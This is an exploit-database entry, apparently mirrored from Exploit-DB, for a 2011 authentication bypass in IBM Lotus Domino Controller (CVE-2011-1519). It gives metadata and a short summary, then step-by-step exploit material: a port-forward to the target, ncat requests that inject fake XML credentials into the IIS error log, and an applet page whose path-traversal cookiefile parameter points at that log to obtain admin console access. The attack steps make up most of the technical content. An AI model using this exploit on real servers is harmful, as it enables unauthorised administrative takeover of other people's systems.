IBM Lotus Domino Controller auth. bypass

vendor:

Lotus Domino Controller

by:

Alexey Sintsov

CVSS

(CVSS2)

Authentication Bypass

287

CWE

Product Name: Lotus Domino Controller

Affected Version From: <=8.5.2 FP3

Affected Version To: <=8.5.3

Patch Exists: YES

Related CWE: CVE-2011-1519

CPE: 2.3:a:ibm:lotus_domino_controller:8.5.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 / Windows 2008

2011

IBM Lotus Domino Controller auth. bypass

This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug, but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day. Details can be found at http://dsecrg.com/pages/pub/show.php?id=41. The exploit involves making a port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050, injecting XML into IIS log file, and running a script from a local web-server.

Mitigation:

IBM has released a patch for this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: IBM Lotus Domino Controller auth. bypass
# Date:30/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.ibm.com/
# Version:8.5.3/8.5.2 FP3 (0day) 
# Tested on: Windows 7 / Windows 2008
# CVE : CVE-2011-1519


Application: IBM Lotus Domino Controller
Versions Affected: <=8.5.2 FP3, <=8.5.3
Manager 4.0 prior to Update 4
(0day) 
Vendor URL: http://ibm.com
Bug: own XML parser  
CVE: CVE-2011-1519
CVSS2: 9.0
Exploits: YES
Reported:2010-09-23 via ZDI
Date of Public Advisory: 2011-03-22
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)

This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug,
but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day.
Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41

EXPLOIT:

1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050
2. Inject XML into IIS log file (for an example)

ncat targethost 49152
GET /<user HTTP/1.0\r\n\r\n


ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n

(\r\n\r\n) ENTER two times 8)

3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet)

<html>
<body>
<script>
function onLoadConsole()
{
alert("Connected");
}
</script>
<applet name = "DominoConsole"
code = "lotus.domino.console.DominoConsoleApplet.class"
codebase = "http://127.0.0.1/domjava/"
archive = "dconsole.jar"
width = "100%"
height = "99%"
>
<PARAM NAME="debug" VALUE="true">
<PARAM NAME="port" VALUE="2050">
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">
<PARAM NAME="username" VALUE="admin">
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">
<PARAM NAME="cookievalue" VALUE="pass">
<PARAM NAME="onLoad" VALUE="onLoadConsole">
</applet>
</body>
</html>